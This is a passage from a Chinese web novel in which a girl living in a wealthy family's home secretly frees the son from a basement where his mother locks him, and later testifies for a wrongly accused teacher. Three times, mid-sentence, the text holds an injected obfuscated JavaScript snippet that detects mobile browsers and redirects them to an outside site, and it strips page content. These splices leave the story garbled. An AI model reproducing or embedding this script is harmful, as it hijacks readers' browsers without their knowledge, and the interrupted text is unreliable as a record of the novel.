“我怕你在我手上‘写字’!我刚刚说的是真的!这回我真的没有骗你了!真的!”喻挽灵赔上讨好的笑,但是她的笑容太僵硬,反而显得滑稽。 但是她这幅滑稽的样子还真的能讨好江斯澄,他停止了逼问,一只手托住下巴,笑得顽劣,“逗你玩的,我就是吓吓你。你这么怂,在学校被欺负都不敢追究到底,给你一百个胆也不敢谋害我。” 看来自己已经解除怀疑……喻挽灵顿时松口气。不过,她可不相信他只是“吓着玩”,怕他还会捉弄他,她赶紧缩手,想把手藏在桌子底下,但是江斯澄已经发觉了她的意图,出声叫住了她。 “等等。”他轻轻一抛,圆规掉在了喻挽灵的手边。 “这是新的,送你了。” 喻挽灵离开餐厅才终于有空看手机,手机收到好几条消息,都是喻香秀发的,她在问他们今晚说了些什么。 她嫌打字麻烦,没有立马回复,而是在走回房间以后给母亲打电话,在电话里简单叙述了一下今晚发生的事。 “所以……他在怀疑你是吗?” “嗯,但是后面他好像又相信了,说给我胆子也不敢谋害他。但是还有一件事让我觉得挺奇怪的,就是……” 喻挽灵把传纸条的事情完整地说了一遍,“后来我又去找了那个女生,她不肯承认自己写了道歉信,但是她告诉我写纸条的事不是江斯澄怂恿的,他没参与……不过她自己也不知道为什么江斯澄主动认了。” 喻挽灵一边说一边照镜子,她发现后背的衣服几乎被汗浸湿。 都是在餐厅的时候被吓出的冷汗。 喻香秀在电话那头沉默了一会儿,似乎在思考,思索良久才幽幽开口:“我怎么感觉……他在故意激你,想引导你讨厌他。” 喻挽灵完全没想到这一层,她呆了一下,赶紧问:“那接下来我们该怎么做?” “先看看他下一步会有什么动作吧,如果他特别防备我们,就说明他还在怀疑。……先不说了,很晚了,你早点睡。” “好。” 喻挽灵快速冲了一下凉以后躺倒在床上,她打开今天的天气预报回放,闭上眼睛静静地听。 女主播用甜美地声音播报道:“现在已经进入秋分节气,天气渐凉,夜晚逐渐变长……” 正听着,窗外泄进一丝冷风,吹得她打了个寒战。 她睁开眼睛盯着窗外,回想了一下今晚和江斯澄的对话,心里不禁感慨:原来,撒了一个谎,后面就得用无数个谎言去圆。 11. 秋分(三) 秋岚到家的时间是周一晚上十点半,这时候喻香秀正和喻挽灵待在一起。喻香秀怕喻挽灵在学校吃不好,经常会给她准备一些营养宵夜,秋岚打电话过来的时候喻挽灵正在吃宵夜。 喻香秀的铃声响起,两人看了一眼来电显示,立即对视了一眼。 喻香秀接通电话,按了“免提”。 “喂?秀姐,小澄这两天喝药了吗?” “这……我也不知道……”喻香秀迟疑地回答,“他坚持要端进房间里喝药……他说他会喝,反正我也不确定他有没有喝药。” “哦……这样啊……”秋岚应道。 喻挽灵竖着耳朵听得很仔细,听秋岚的语气,感觉她好像并不意外。 “我早猜到你劝不动他,别人很难劝动他去做他不愿意的事。” 喻香秀不知道秋岚打这通电话来,还有没有其他指示,便试探道:“那……该怎么办呢?需不需要我做什么?” “不用了,我就是想问一下情况,昨两天太忙了没时间问你,行吧,也不打扰你休息了。” “没有没有~没有打扰,我也还没休息。”喻香秀客气道。 秋岚也客气地应了几句,随即挂了电话。 喻挽灵盯着手机,确定电话已经挂断才开口:“妈妈……我给江斯澄送药的事,他会不会告诉秋岚阿姨啊?” “不会的。”喻香秀说得很肯定,“我感觉他不是个多事的人,而且他们俩母子不是很亲密,一般都是秋岚叫他做什么他就照做,他很少主动找他妈妈说话。” “那就好……”喻挽灵稍微放心了些,秋岚不希望自己勾搭她儿子,要是被她发现了,估计会辞退母亲,那他们就更没有机会去接近江斯澄了。 喻香秀收拾好她吃剩的餐盘,叮嘱她早点休息,喻挽灵点头,听话地上床。 “我现在就睡,走的时候帮我关一下灯。” 喻香秀走了以后,喻挽灵闭上眼睛尝试入睡,但是总都睡不着,躺了一个半小时,好不容易有了睡意,却忽然感觉到尿意。 她睡的房间只是一间客房,面积小,位置偏,房间里也没有厕所,洗漱和如厕都得去一楼的公厕。所以她很不喜欢睡着觉又起来上厕所,下了晚自习以后都尽量少喝水,避免频繁上厕所。但是今晚母亲给自己做了燕窝红枣羹,这种汤水多的东西吃下肚,过了一两个小时就会想上厕所。 喻挽灵摸黑走了一段路,这里太黑,看不太清楚,她只好拿出手机打开手电筒,一边照明一边走。又往前走了一米,她隐隐约约听见了争吵声。她没再往前走,侧耳倾听了一会儿,确认自己没有幻听,赶紧关掉手电筒、手机也调成静音,在黑暗里蹑手蹑脚地往声源处挪动,试图听得更清楚些。 “我稍微不看着你,你就把药倒掉?” 是秋岚的声音,她在向江斯澄训话。 江斯澄不卑不亢地说:“那个药很难喝!而且我除了有胃病,身体没有其他毛病,所以那个药根本没有喝的必要。” 秋岚冷笑,“怎么?快要十八岁了,开始放肆起来了?想什么事情都自己做主了是吧?” 江斯澄没吭声。 秋岚继续嘲讽,“是,你爸爸分了一部分财产给你,让你十八岁以后解除冻结,但是十八岁以前你还是得听我管教,如果不是我一直对你严格管教,你觉得你能有现在这么优秀吗?现在你翅膀硬了,想不听我管了是吧?” 江斯澄依旧没吭声。 “你知道我为什么要在这里教训你吗?” “因为待会儿你打算把我关进地下室。”江斯澄回答的声音冷冰冰的,没有一点温度。 “对,但是你今天要跪着走进去!” 听到这里,喻挽灵不可置信地瞪大眼睛,她从没见过有这样惩罚孩子的母亲。现在她动也不敢动,生怕发出声音惊动他们。 江斯澄还是没吭声。 “我说了跪下!”秋岚的声音尖锐起来,她的声音很明显地透露出:她的怒火开始飙升。 江斯澄没有出声反驳,他还是从了,跪下的时候,膝盖敲在瓷砖上发出一声低沉的闷响。 紧接着,江斯澄和秋岚的脚步声一寸寸地靠近。喻挽灵心里发慌了,赶紧把拖鞋脱下来拎手里,赤着脚弓腰四处躲避,这里一片漆黑,她又不敢用手机照明,只能一边摸一边走。 万幸的是,她凭感觉走到了楼梯口,现在上楼肯定是来不及的,她只能钻进楼梯底下的死角处。这个地方还算安全,只要不是刻意钻进来看,根本看不到她。 她坐到最里面,把身体蜷缩成一团,确保自己完全在暗处。 随着越来越近的脚步声,过道的灯也一一亮起,紧接着,江斯澄的身影也出现在她的视线里。 他跪在地上,用膝盖一步步地行走,秋岚紧跟其后。 喻挽灵屏住呼吸,静静等着他们远离,没想到他们走到楼梯口就停住了,下一刻,眼前骤然亮起一盏灯! 一扇暗门赫然出现在她眼前,她震惊地发现:原来……他们所说的“地下室”就在这个楼梯下面!而且距离她只有几步之遥! 此刻,喻挽灵紧张得太阳穴都在突突跳,她祈祷秋岚不要弯腰。她的这个位置处在视觉盲区,只要不刻意蹲下就看不到她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183261|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不要蹲下来不要蹲下来…… 喻挽灵在心里不停地祈祷,可是接下来,她猛地想到一件事,那就是——跪着的江斯澄可以看到她! 果然,江斯澄一转头就看见了她,两人四目相对时,他也震惊地瞪大了眼睛。 谁也不会想到,此时此刻,喻挽灵会躲在这里“偷窥”。 喻挽灵吓得快掉眼泪了,她疯狂冲他摆手,用眼神向他乞求,求他不要暴露她在这里。 “怎么了?”秋岚的声音从楼梯口传进来,她就站在江斯澄身边,看到江斯澄突然停下,她奇怪地问了一句。 “没什么,在等你拿钥匙开门。”江斯澄收回目光。 听到他的回答,喻挽灵稍微放心了一点,她挪了一下身体,想把自己再隐藏得更深一些。 一阵清脆的钥匙磕碰声,秋岚拿出钥匙打开了地下室的门,门一打开,门缝里顿时传出听起来既恐怖又渗人的惊叫声,喻挽灵吓得紧紧捂住嘴巴,手脚都开始发抖。 她觉得自己可能不小心撞见了什么秘密,心里不停地告诉自己要镇静,千万不能发出一丁点响动,现在这个节骨眼上,可千万不能暴露。 “自己进去好好反省,等我再过来的时候,希望你能向我认错。” “我没错……”江斯澄依旧倔强,不肯认错,但是眼尖的喻挽灵注意到,他说这句话时,脊背不再笔挺,而是微弓着腰,用手捂着胃部,一副很痛苦的样子,嘴唇都没了血色。 秋岚面对着他的后背,没注意到他的状况,她直接推他进去,然后用力甩上了暗门。 秋岚的脚步声渐行渐远,喻挽灵还是不敢乱动,等到完全没了声响,她才小心翼翼地钻出来。 喻挽灵走到暗门前,先是伏在门上听了一会儿,发现这个门的隔音效果特别好,一关门就隔绝了里面的所有声音。 她试着轻扣门板,敲了几下都没得到回应。 喻挽灵心里碎碎念:这是别人的家事,不关我的事,我要当做什么都没看见…… 她狂奔回房间,迅速钻进毛毯里,可是一闭眼就会回想起门里传出的惊悚惊叫声。她逼着自己睡觉,不停地在心里数数字,但是心不在焉的她越数越乱。于是她又换了方式,改为背书,结果课文越背越不流利,脑中浮现的不是课文,而是江斯澄那张惨白的脸。 她猜他是胃病犯了,因为他的胃不好,不按时吃饭就会疼。 喻挽灵烦躁地坐起来,她的良心让她浑身不自在,最终,感性还是战胜了理智,她起床走出了房间。 她知道秋岚平时会把钥匙放在哪里,她想找出地下室的钥匙。 12. 秋分(四) 江家的一些常用钥匙会挂在一个柜台上。 自从喻挽灵住进江家以后,她时常留心观察秋岚母子的生活习惯。她发现他们都喜欢规范地管理自己的所有物,基本不会随手乱放东西。别墅面积大,房门和柜门多,钥匙自然就多,所以专门有一个柜台是用来放置钥匙的,就是为了方便拿取。 喻挽灵蹑手蹑脚地溜到放钥匙的地方,看着面前这一排排的钥匙,有点傻眼。 这么多钥匙,她那里知道是哪一把呀!而且她也不确定开地下室的钥匙会不会被放在这里呢! 她有点后悔了,心里打起了退堂鼓,心想自己何必冒这个险呢?但是这个后悔的念头很快又消失,因为她并不喜欢半途而废,来都来了,那就试一下吧,能帮得上忙就帮。 这些钥匙并不是散乱的,而是串成好几个钥匙串,秋岚开门的时候她看到了那串钥匙大概的样子,她找到了几串比较像的钥匙。 喻挽灵也只是抱着试一试的心态,她也不能确定有没有拿对,能帮上就帮,要是没这运气就不帮了。怕走得太快会让钥匙发出响声,她只能把钥匙合在掌心里,迈着小而急促的脚步赶去地下室。 到了地下室的门口,她一把一把地试着钥匙。这种“偷鸡摸狗”的事还是第一次做,喻挽灵心里紧张,手也忍不住哆嗦,试钥匙的时候好几次都没对准。 试到第七把钥匙时,终于成功转动了门锁,一声轻巧的开锁声,这扇门慢慢地打开了。 门缝越开越大,地下室的面貌也终于慢慢在她眼前展开。 原来这是一间家庭影院。 屏幕上正放着极其残忍又血*腥的画面,喻挽灵进来时,画面里的受害者刚好发出尖锐刺耳的尖叫声,3D环绕音如重锤一样,震得她的胸腔都有点发麻。 她不敢再看,赶紧小跑到沙发前,江斯澄侧躺在沙发上,身体弓成虾米,整个额头都是冷汗。看到来人是喻挽灵时,他的眼神有些惊讶,但是这份惊讶并没有持续多久,又被痛苦所替代。 “你的药在哪里?”怕他听不见,喻挽灵弯下腰凑近去问他。 “……在……我……房……间……”应该是太痛了,江斯澄说得气若游丝,吐字也不是很清楚。 “我现在带你回房间,赶紧把药吃了。” 江斯澄也不矫情,没耍半分贵少爷脾气,一边强忍着绞痛一边配合她的搀扶站起来。站稳之后,他拂开她的手,拒绝她的搀扶。 “……我自己可以走……,不要你扶……” 江斯澄不喜欢别人和他有肢体上的接触,总是和别人保持距离,现在他都已经疼得直不起腰来了,还是不肯接受别人接触他。 喻挽灵不想多事,于是尊重他自己的意愿,往后退了几步。 两个人一前一后地走,慢慢地走到了江斯澄的房间。 他的房间门锁是密码锁,喻挽灵自觉地转身背对他,表示不看他输密码,直到听见开锁声才转回来。 门一开,喻挽灵刚想踏进去,忽然想起什么,又连忙收回脚,询问:“我……可以进吗?” 江斯澄点点头,虚弱地靠在门上,指使道:“帮我开灯……” 窗户的窗帘被拉得紧紧的,一点光都透不进来,房间里漆黑一片,伸手不见五指,喻挽灵看不到灯的开关在哪里,只好用手摸,摸了好一会儿都没摸到,只好抱歉地说:“呃……怎么找不到……要不……还是你来开吧?” 江斯澄捂着肚子,不耐烦地说:“在……下面!……弯腰找!有……荧光提示……” 喻挽灵弯腰,还真的看到了有荧光提示的开关。 原来是开关的位置装得矮,难怪她刚刚总找不到。 开灯以后,江斯澄迈着艰难的步伐挪到床边,打开床头柜拿药。与此同时,喻挽灵环视房间一圈,很快就看到了桌上的恒温水壶和水杯,她连忙倒了一杯温水递给他,方便他吞服。 服药之后还没这么快起效果,江斯澄的脸色依旧很差,他蜷缩在床上,虚弱地说:“……等下还要回去……” “我知道。”喻挽灵点头。 休息了一会儿,止痛药开始起效果了,他紧缩的眉头渐渐舒展,身体姿势也逐渐放松,开始主动和她说话。 “没想到你胆子还挺大,居然敢去偷钥匙。” “我看你总捂肚子,脸色又很差,猜你是胃疼了,就想试一下看看能不能找到钥匙带你出来吃药。……你是不是今天晚上没按时吃饭呀?” 她记得秋岚向喻香秀交代过,江斯澄吃饭得定时定点,不吃饭或者不按时吃都可能会胃痛。 “不是。”江斯澄的语气平静,“遇到特别紧张得事情也会胃疼。” 特别紧张?喻挽灵心里好奇,他是很怕进地下室吗?那么……地下室里放映的究竟是什么?是电影吗?可是画面又很真实,录制手法也一点都不像拍电视,给人的感觉更像是真实的纪录片……还有,他房间里所有装在墙上的开关怎么都这么矮? 她的心里有很多疑问,但是现在也不方便多问。不过……她有一件事情特别好奇,必须要问他。 “你家有没有装监控?”喻挽灵仔细观察过,江家只有出入门才有监控,室内并没有,也不知道是真没装还是装的什么针眼摄像头。 “没……我妈妈不喜欢住在家里还被监控,是她不愿意装的。” 江斯澄的语气很肯定也很认真,听着不像骗人,喻挽灵顿时放心了。 过了一会儿,江斯澄似乎舒坦了许多,他站起来提醒她,说该回地下室了。 俩人依旧一前一后地保持着半米的距离,一路上不敢发出声音,喻挽灵心里也很紧张,总怕秋岚从哪个暗角里出来,等她将钥匙放回原处以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183262|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里才终于踏实下来。 后来江斯澄有没有低头认错、有没有被秋岚放出地下室……这些她都不知道,也没有偷溜过去打听动静了,毕竟她还要起早床上学。 第二天,她走去地铁站时,特意留心了一下过往的车辆,没看见江斯澄坐的车,她猜他今天不来上学了。 喻挽灵晚上就睡了三个小时,在这三个小时里,她的睡眠质量很差,在地下室里看到的放映画面总是在她的梦里出现,受害者的尖叫声像单曲循环一样一直在她的耳边响,把她吓醒好几次。 睡眠严重不足,所以喻挽灵上课总打瞌睡,偏偏前两节课又是化学课,今天要在实验室动手实操,她想偷懒睡会儿觉都不行,整个人晕晕乎乎,走路也感觉轻飘飘的。 好不容易挨到下课,喻挽灵的同桌梁倩还特意提醒她:“待会儿是女魔头的课,最近女魔头总抓上课睡觉的人,上课抓完下课还要请去办公室‘喝茶’,你可别睡觉啊!” 喻挽灵知道梁倩提醒她纯粹是为了自己,因为梁倩从不听课,总喜欢上课摸鱼,经常会铤而走险带手机来偷偷玩。要是她睡倒了,就很容易吸引关老师的注意,坐她旁边的梁倩就会不方便玩手机。 “嗯……我尽量吧……”喻挽灵回答得有气无力的,尾音拖得好长。 走出实验楼,喻挽灵路过一个展示栏时无意瞥见了关老师的照片,毕竟是自己的班主任,对于老师的资历难免会好奇,于是她停下来看。 这是一个主题为“党建之窗”的风采栏,左边张贴的是一些思政宣传,右边则是教师党员示范展示。 喻挽灵细细浏览了一下关老师的学习经历。 关老师的全名叫“关紫文”,是985师范大学的硕士研究生,在校期间每年都拿奖学金,研究生毕业就来南槐实验任教了。 令喻挽灵惊讶的是关老师的年龄,她算了一下年份,推算出今年是关老师工作的第二年,她还好年轻,才比她大七八岁而已。关老师是这些党员中最年轻的一位,证件照上的她笑容灿烂,看起来文静可爱,可是本人却没有年轻人的朝气,成天板着一张脸,死气沉沉的,还被大家称呼“女魔头”。 喻挽灵追上梁倩,忍不住感慨:“关老师居然是名牌大学毕业的哎,怎么教的是最差的班呀?” “她是在高二的时候来的,高二不是分文理科嘛,分班以后都定好让女魔头去教1班的数学,但是1班的家长不让呀,她们瞧不起新老师,特别是江斯澄他妈妈,带头号召全班家长来找校长,说不相信年轻老师,坚决不许新老师教1班,刚好那时候整个年级最混的都分到20班了,没老师肯接手,校长就换女魔头来做20班的班主任了。” “居然是这样……” 听了这个八卦,喻挽灵猛然想起上次在办公室,江斯澄说关老师“公报私仇”,原来就是这事。 13. 秋分(五) 尽管喻挽灵的理智在叫喧不能睡倒,但是睡意席卷而来时她还是没抗住,支着额头就睡着了。 “喻挽灵!”关老师大声点她的名字,喻挽灵顿时惊醒,旁边的梁倩正在偷偷看小说,听到喻挽灵被点名,也赶紧把小说往抽屉里塞,装作认真听课的样子。 “你昨晚干什么去了?怎么像熬了通宵一样?一上课就睡觉!” 喻挽灵低着头不好意思回答。 关老师提醒了一次也没多追究,提醒她打起精神以后就继续上课。 但是班上不止喻挽灵打瞌睡,还有其他同学也在埋头睡觉。提醒了好几次都没什么效果,关老师气得把书拍讲台上,“我的课你们也睡觉,其他课是不是睡觉的更多?!都已经高三了,自己都不知道为自己打算!” 全班噤声。 “睡觉的都给我站起来上课!省得你们总打瞌睡!”关老师命令道。 听到命令,喻挽灵第一个站起来,另外两个睡觉的同学见状,也慢吞吞地站起来。 关老师没说话,锐利的目光盯着一个还在睡觉的男生。 “罗晨!别睡了!关老师在看你!” 周围的同学推搡这个叫“罗晨”的男生,提醒他起来,却被他不耐烦地拂开,还凶别人:“妈*的别吵老子!” 班上有同学开始憋笑,大家都觉得要有好戏看了。 关老师铁青着脸走到他旁边,看他这么嗜睡,便问:“你是不是身体不舒服?如果身体不舒服就去医务室!” 罗晨眼睛都没睁一下,态度很嚣张,回怼说:“要你管?” 这个目中无人的态度彻底把关老师激怒,她生气地拿书轻敲了一下他的头,怒斥:“不想读书来混什么日子?对别人说话也一点都不尊重,你这样还影响别的同学!” 罗晨还是无动于衷。 关老师也懒得理他了,怒气冲冲地走回讲台继续上课。 下了数学课,班上好几个同学都围向罗晨,夸他很牛。 “笑死,你是没看见女魔头当时的表情!” “哈哈哈哈……” 喻挽灵本来想刷刷题来提神,听见他们的哄堂大笑,笔尖停顿了下来。 他们的言论让她心里很不舒服。 过了一天,这个叫罗晨的男生迟到了。他到教室的时候,早自习已经进行了半小时,而且他进来也不打报告,直接在朗朗读书声中大刺刺地往讲台前经过。 今天的早自习是语文老师在守,他沉着脸提醒他:“罗晨,你迟到了半个小时!” 罗晨置若罔闻,直接拿起书盖在脸上。 朗读声渐渐弱下来,因为大家的注意力都被罗晨吸引了。 语文老师敲敲讲台,提醒大家继续朗读。 于是,读书声又渐渐响亮。 喻挽灵前一晚早早睡着了,今天总算有十足的精气神,她发誓今天一定要好好听课,结果课却上不成了。因为数学课才刚开始上,校长就来班上把关老师叫走,关老师让大家先上自习,匆匆忙忙布置了几页习题就跟着校长离开了。 半节课过去,一行人走到教室门口,是关老师、正校长、副校长以及年级主任,还有两个陌生人,看起来像是家长。 同学们都不知道校长他们这么大阵仗过来是要干嘛,齐刷刷地抬头看门口,喻挽灵的同桌梁倩低呼:“哎……那不是……” “是什么?”喻挽灵好奇,赶紧追问。 梁倩压着嗓子说:“那两个人是罗晨的爸爸妈妈啊!” 啊?他们来做什么?喻挽灵心里疑问,也伸长脖子打量他们。 几个大人站在门口,神色各异:罗晨父母面色铁青,校领导们面色凝重,关老师则一脸慌乱。 “罗晨!过来!”罗晨的父亲招手叫他上前,一到面前,他母亲连忙拂来他额前的头发,叫几个校领导看。 “昨天他回来的时候额头都在流血!”罗母说得咬牙切齿的,语调高昂,大有挽袖子吵架的架势,“你们学校招老师的资质究竟是怎么样的?!为什么这么没有师德!怎么随便就动手打学生?难怪我儿子总不爱上学!” 喻挽灵震惊地瞪大眼睛,她当时看得很清楚,关老师是用书敲了他一下,但是下手不算重,况且罗晨也没有受伤呀! 关老师的脸色变得惨白,她手忙角落地往教室里走了几步,声音颤抖:“我没有动手打人……而且罗晨昨天在学校的时候都没有受伤……”她伸手指向在座的所有学生,“我们班的学生可以为我作证!” 班上的学生们不约而同地低下脑袋,整间教室鸦雀无声。 喻挽灵本来以为大家会积极帮关老师作证,正要出声,忽然发现大家都不说话。 “是敲了一下……”有些学生小声回答。 “当时罗晨受伤了吗?”年级主任继续问。 全班沉默。 “没注意,反正罗晨一直趴在桌子上,谁看得到啊……”有个同学小声嘟囔。 “我刘海厚,他们当然看不到。”罗晨辩解。 关老师期许的目光瞬间黯淡,她着急地向罗晨父母解释:“我……我没有打他……当时……当时……” 看到关老师语无伦次的模样,同学们都没有帮腔,都冷漠地坐在自己座位上,一副事不关己高高挂起的样子。 喻挽灵犹豫着要不要和大家一起保持沉默,可是她能肯定罗晨撒了谎,因为关老师真的只是轻拍了一下,而且在学校的时候,罗晨的头上都没有伤。心中的正义感让她想勇敢站起来作证,可是同学们的冷漠态度让她怀疑自己:究竟能不能去帮? 她心里摇摆不定,可是看到关老师孤立无援的样子,还是觉得过意不去,她屏住一口气,壮着胆子发声:“昨天在学校的时候,罗晨的额头上没有伤。” 她的音调不高,却清亮有力量,“昨天罗晨上课睡觉,关老师提醒了他,而且还问了他是不是身体不舒服,要不要去医务室,是罗晨自己先对关老师说脏话……教室里没有监控,但是每个楼梯间和进出口有监控!他有没有受伤,查查监控就知道了。” 说完,她又信誓旦旦地强调:“关老师根本就没有‘打’他,罗晨头上伤不是关老师弄的!” 喻挽灵的作证并没有消灭罗晨父母的气焰,他们还是不依不饶的架势,反而说喻挽灵的话不可信,他们只相信自己儿子的话。 校领导不想在太多人面前继续展示这场难堪的闹剧,便把喻挽灵这个人证叫出来,一行人转移阵地,去了校长室。 校长要求喻挽灵完整地叙述了一遍事情的经过,喻挽灵天真地以为能为关老师平冤,叙述得特别认真,还说了许多细节。结果她说的时候大家看似听得认真,等她叙述完就将她晾在了一边。 罗晨父母表示事情已经发生,他们要学校做出解释并给他们道歉。而校领导似乎也想快点解决这个大麻烦,表示不管怎么样,关老师确实用书敲了学生的头,对学生动手有违师德,要她认罪。 关老师委屈,红着眼睛不肯低头认,家长态度蛮狠不依不饶,校领导又想大事化小小事化了,不管谁对谁错,希望她先把错认了好平息罗晨父母的怒火。 后来他们究竟是怎样解决的,喻挽灵也不知道,因为他们喋喋不休地争吵了半天才注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183263|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边还有个学生,年级主任就让她先回教室了。 喻挽灵离教室离得老远就听见整个教室都很吵,等她出现在教室门口的那一刹那,整间教室瞬间鸦雀无声。 她在所有人的注视下,一步一步地走回自己的座位。 “你真是的,干嘛要去帮关老师啊?”梁倩语气不满。 喻挽灵不解地反问:“怎么是‘帮’?我只是在说事实。” 她俩的对话被前排的同学听见了,他回过头白了喻挽灵一眼,喻挽灵觉得自己被鄙视得莫名其妙的。 这时,教室里又此起彼伏地响起议论声。 有些同学笑嘻嘻地交头接耳,聊着刚刚发生的事情,梁倩也凑到喻挽灵身边,幸灾乐祸地说:“你信不信,罗晨这样一搞,女魔头以后绝对不敢管我们啦!也就你……”想到喻挽灵的“壮举”,梁倩的语气转为抱怨,“你不懂这些又要去多嘴。” 这话令喻挽灵心寒,原来大家打的这个主意。她发现班上搞事情的同学其实就几个人,但是大部分同学都保持中立,做沉默派,哪方对自己有利就偏向哪边,谁也不得罪。 今天下午的体育课在网球馆上,等走到网球馆集合却意外地看见了1班的学生。大家这才发现,原来这学期把20班的体育课和1班的体育课安排在同一时间段,只是授课内容和进度有些不同,所以上课地点也不同,两个班就一直没在同一个场地碰过面。 喻挽灵一下就在人群中看见了江斯澄。 她并没有刻意搜寻他,是他的长相和气质都太脱俗。其实1班的这群尖子生们并不是只会死读书的书呆子,个个都家境优渥,从小就德智体美全面培养,不仅成绩优,长相气质也不凡,但是江斯澄和他们相比较,还是出众百倍,只要他在,就很难将让人注意移到旁人身上。 一声哨响,老师催大家集合,喻挽灵不再多看,赶紧跑去集合。 跟着体育老师做完几套热身动作,老师向大家宣布今天有双人配合的练习,叫大家自行组队。 班级人数是单数,肯定会有人落单,谁也不想做落单的人,于是赶紧去抱团。喻挽灵本来想去找同桌梁倩组队,但是梁倩在班上有关系更好的好姐妹,别人抢先一步拉走了梁倩。 大家很快完成组队,只有喻挽灵孤零零地站在原地。 老师说多出来的人和自己组队,人群里顿时传出低低的讥笑声。 喻挽灵比较想得开,她不觉得和老师搭档是一件难为情的事,很安然地接受了这个安排。 课堂练习结束,接下来是自由活动时间,老师安排了几个同学收拾网球和网球拍,其中一个就是喻挽灵。 她抱着一堆网球拍,走到器械室门口的时候罗晨叫住。 包含罗晨在内,并排走来三个男生,喻挽灵感觉来者不善,她后提一步,警惕地问:“你们想做什么?” 罗晨逼近她,目光凶狠,“他*妈*的,你这个大嘴巴,嘴巴怎么那么多?” 喻挽灵立刻意会,明白他是冲着自己给关老师作证的事情来的。 “不是我嘴巴多,是你做得太过分。” 罗晨从她抱的这堆网球拍里随便拿起一个,用球拍按在她的头顶上,向她挑衅:“你要是再这么多嘴试试?我有的是办法弄*你。” 喻挽灵并没有被他吓到,她平静地回视他,沉声说:“你别做缺德事,我就不会多嘴。” 几人之间气氛紧张,正僵持不下时,忽然有人从器材室的暗处走出来。 这个男生身形修长,脊背笔直,虽然看不清他的脸,但是光看他的气质和轮廓就能认出——是江斯澄。 14. 秋分(六) 江斯澄走到门口,先是淡淡地扫视了他们一眼,然后侧过身体,把门口的通道让出来,对喻挽灵说:“你要进去放球拍吗?” 喻挽灵见他在示意自己进去,赶紧抱着球拍往里面走。 这几个男生还留在门口嬉笑着交头接耳,江斯澄听出了大概内容,他们在肆意点评喻挽灵的身材,还开她的黄*se玩笑。 江斯澄从他们几人中间径直走过,斜瞥了他们一眼,嘲讽道:“真没品,你们的脑袋里就不能多装点知识?” 被这样明着瞧不起,几个男生面面相觑,心里不爽又不敢表现出来,脸扭向一边,个个都不讲话了。 喻挽灵放好器械出来时,罗晨他们已经离开了,她顿时松了一口气。 被罗晨污蔑以后,关老师的脸上好像失去了神采,上课都心不在焉的。过了一天,学校的公告栏上贴出一张官方通报,通报说高三20班的班主任——关紫文老师行为不当,有违师德,导致学生受伤、厌学情绪加重,所以进行全校通报批评,公示一周。 喻挽灵没想到最后的处理结果会是这样。 学校的处理结果好像让罗晨的家长比较满意,双方间达成了和解,罗晨父母还主动出资更换了20班的课桌椅,说是要让他孩子坐得更舒服一点。他们的效率很高,这些更加高级的崭新桌椅很快就被送到了学校,当工人们抬着新桌椅往其他班门口路过时,学生们纷纷趴在窗户上打量,既好奇又羡慕。 这让罗晨变得更加神气,他得意地向大家炫耀,绘声绘色地向同学们形容“女魔头”是怎么样对他鞠躬道歉的,旁听的同学都拍手称痛快。 这些话落到喻挽灵耳里,只让她觉得心凉,她看着崭新的课桌,心情复杂。她感觉这些课桌摆在教室里就是在证明她是个笑话,关老师一开始不肯认错,到后来还是屈从于权势被摁头道歉,而她自己明明明明想伸张正义,不仅做了无用功,还被同学嘲笑。 从这天起,关老师对大家不再多嘴管教,到点了就来上课,上课也上得极其程序化,绝不多扯一句课堂之外的话,下课铃一响就结束课堂。就连班级的管理也松懈了很多,大家不写作业也只是叫班干部登记一下名字,没有任何惩罚措施,几乎是睁一只眼闭一只眼的状态。 这场师生间的斗争以关老师的妥协告终,为关老师作证的喻挽灵也受到波及,没有硝烟的战火还是烧在了她身上。 喻挽灵能感觉到,自己已经被大家划分为关老师战线的人,所以班上的同学都尽量回避和她说话。 大家在孤立她。 喻挽灵是个神经大条的女生,被孤立这事她倒不是很介意,反正她也不是很爱社交。她觉得大家就只是在一个班学习而已,毕业了各奔东西,估计一辈子都不会再见面了,所以她觉得无所谓。 喻挽灵把最近发生的事都一一跟母亲说了,对于江斯澄每天必喝的中药,她很好奇。 “那个真的只是增加食欲助消化的药吗?感觉那个中药好像很重要,秋岚阿姨逼着他每天喝……” 喻香秀肯定地说:“确实只是增进食欲的中药,其实江斯澄不爱吃东西不是身体原因。” “那是……?” “是心理原因。上次秋岚的朋友来家里玩,我给她们准备下午茶的时候听到的,她说江斯澄小时候太挑食了,为了治他这个挑食的毛病,她特意给他准备他最讨厌的蒸蛋,不吃就强行灌,灌到他答应不挑食为止,秋岚肯定不会认为是自己的教育方法有问题,她就觉得他不爱吃饭是身体有毛病。” 